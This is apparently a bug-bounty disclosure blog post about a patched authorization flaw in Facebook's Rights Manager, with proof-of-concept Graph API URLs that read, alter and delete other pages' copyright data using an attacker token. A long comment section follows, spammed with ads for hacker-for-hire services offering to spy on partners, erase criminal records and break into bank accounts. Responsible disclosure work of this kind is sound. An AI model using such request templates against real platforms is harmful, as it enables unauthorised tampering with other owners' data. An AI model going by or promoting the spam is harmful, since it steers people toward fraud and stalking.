Freebooting is a sort of piracy, most commonly referred as downloading someone else’s copyrighted material and uploading it to any other internet platform, often videos from Youtube to Facebook. A security vulnerability in Facebook’s newly introduced platform called [Copy] Rights Manager (to prevent Freebooting) allows one to hack Facebook brand page copyright data easily. 

Facebook Freebooting Hack

Facebook is trying hard to prevent Freebooting in their native video player. Recently in April, they introduced a tool called Rights Manager, where famous brands have the rights to detect and claim their copyrighted videos uploaded to Facebook. People who often upload copyrighted videos can easily be identified by this Feature.
Pages/Profiles who are constantly uploading copyrighted materials would eventually get banned.

Rights manager tool allows brands to upload their video items (source videos to detect pirated videos) and owners would get notified whenever someone uploads their copyrighted videos to Facebook. Copyright owners can request deletion of the detected pirated videos or add an exception for few brands in some cases.

So what’s the hack? 

Rights manager’s application interface allows end users to manipulate the request data and gain control over other brand page’s copyright source data. 
In layman’s terms, rights manager’s authentication mechanism is not validating requests properly so it allows any Facebook user without consent permission to read, edit and delete source video or manipulate the detected pirated video.

Technical Details

Rights Manager tool is preapproved for few official pages and any one can request for approval.

Facebook CopyRights Manager Tool Preview
Facebook CopyRights Manager Tool Preview
Once you are approved you can upload your videos to detect pirated copies around Facebook native video player.
Rights Manager uses Graph API and its official documentation shows some endpoints for third party app access. By default, Rights Manager GUI uses a pre-approved app called “273465416184080: Content Tab of a Page on www“. We can see the access token in the source code of
https://www.facebook.com/page_username/publishing_tools/?section=NEW_MATCHES

Since it is an app owned by Facebook, its access token allows us to read or manipulate data for any Brand page due to insufficient permission checks.

Also read how hackers could hack account password online and their prevention measures

Proof of Concept :-

UPDATING VICTIM’s COPYRIGHT
https://graph.facebook.com/v2.6/<copyright_id_copied_from_victim_query>?method=post&monitoring_type=VIDEO_AND_AUDIO&access_token=<attacker_access_token>&whitelisted_ids
=<attacker_ids_to_bypass_copyright_check>&rule_id=<any_rule_id_if_you_wish_optional_field>&ownership_countries=<can_update_countries_as_well_but_optional>
All the above fields added in the parameters can be updated.

Reading Victim’s Copyrights
https://graph.facebook.com/v2.6/<victim_page_id>/video_copyrights?access_token=<attacker_access_token>

Deleting Victim’s Copyrights
https://graph.facebook.com/v2.6/<victim_page_copyright_id>?method=delete&access_token=<attacker_access_token>

Create copyright rule on behalf of victim’s page
https://graph.facebook.com/v2.6/<victim_page_id>/video_copyright_rules?access_token=<attacker_access_token>&name=testrule&condition_groups=[{action:”ALLOW”,conditions:[{type:”MONITORING_TYPE”,operator:”IS”,value:”VIDEO_ONLY”}]}]

Read Victim’s Copyright Rules
https://graph.facebook.com/v2.6/<victim_page_id>/video_copyright_rules?access_token=<attacker_access_token>

Delete Copyright Rule
https://graph.facebook.com/v2.6/<victim_page_copyright_rule_id>?method=delete&access_token=<attacker_access_token>

Facebook Acknowledgement of Fix and Bounty of $4000 USD

Facebook Acknowledgement of Fix and Bounty of $4000 USD
I thank Facebook Security team for quickly fixing this issue 🙂

Feel free to use our free Facebook video downloader online tool to download Facebook videos but beware of copyrights 😉

  • Vector

    She’s here for help I meet her she’s a good hacker who help me in hacking contact her Lisarosehacker (@) gmail

  • Vector

    I love her service she is a professional hacker you can trust her and you can have her on Lisarosehacker (@) gmail

  • AVE

    for any kind of hacking services….at hackfred603 {@} gmail…

  • rose

    Connect to us at hackfred603 (@) gmail

  • rose

    Hackfred603 is the best hacker you can get for your service

  • rose

    I meet one hacker in Australia and am proud of his service at hackfred603 he done the jobs with no tracc thanks (@) gmail

  • William

    I MEET THIS HACKER IN AUSTRALIA SHE HELP ME OUT OF MY CHEATER WIFE’S YOU CAN REACH HER VIA EMAIL HACKQUEEN826 AT GMAIL FOR HELP

  • Ruth Chris

    Thanks so much for your efforts on my work hackqueen is the best hacker in this whole world…….. Hackqueen826 at GMAIL

  • Peter

    do you need to change your grades, access facebook, whatsapp, mails, instagram, snapchat, delete criminal records, remotely access mobile phones, pc, database and websites access, icloud access, western union transfer, bank account, credit card then send a mail request to HACKDON005 AT G MAIL D0T C0M..

  • Peter

    I love him service he is a professional hacker you can trust him and you can have him on hackdon005 (@) gmail

  • Moses Simon

    If you are looking for a brilliant private investigator that we help you out just contact [email protected] com…

  • Moses Simon

    If you looking for a responsible hacker that we help you out just contact [email protected] com…

  • Tommy

    Are you guy looking for a reasonable hacker that can help you out just contact [email protected] com…

  • Tommy

    This guy is a hardworking hacker just contact [email protected] com… You we be happy….

  • Kimberly

    do you need to spy on your partner by accessing their messages, whatsapp and social media, delete criminal records, bad comments, she can do that contact him hackdon005 (@) gmail!!

  • Julie Kate

    I’m good an nice hacker i can hack anything contact HACKPALM97 at gmail dot comm the sarvice is very good enough here

  • Gills venn

    Are you guy looking for a reasonable hacker that can help you out just contact [email protected] com

  • Willam James

    If you want to spy on your partner by accessing their messages, whatsapp and social media, delete criminal records, bad comments, poor credits, change grades, access database contact the best hackdon005 (@) gmail..com))

  • Morgan rod

    Are you guy looking for a reasonable hacker that can help you out just contact [email protected] com…..

  • Nela Canovic

    Are you guy looking for a reasonable hacker that can help you out just contact [email protected] com.

  • mattew jane

    Are you guy looking for a reasonable hacker that can help you out just contact [email protected] com……….

  • mattew jane

    If you want to spy on your partner by accessing their messages, whatsapp and social media, delete criminal records, bad comments, poor credits, change grades, access database contact the best hackrita321 (@) gmail..com))…….

  • Dushka Zapata

    * A big thanks to sherry for letting me know the whole truth about my boyfriend who was hanging arround with other ladies contact netseverhack{@}} GMAIL for all hacking media app like, Facebook, WhatsApp,Snapchat,instagram,Twitter etc, contact him today day and see how
    * great

  • Eveline sehelligerhout

    trust worthy and a man of his words I was having issues with my spouse
    and businesses associate,my spouse was cheating while my business
    partner wanted to blackmail me, I was worried until I saw mr patrick on
    here we talked a few times and he promised to help me and under 12
    hour I was seeing their messages and also deleted conversations…I’m
    really glad I got in touch with him….he’s into jobs like
    Whatspp,viber,Fb, clearing of criminal records ,Text,cal logs
    iCloud,bank hacks and so on…..get in touch with [email protected] com
    Who hlpe me in hacking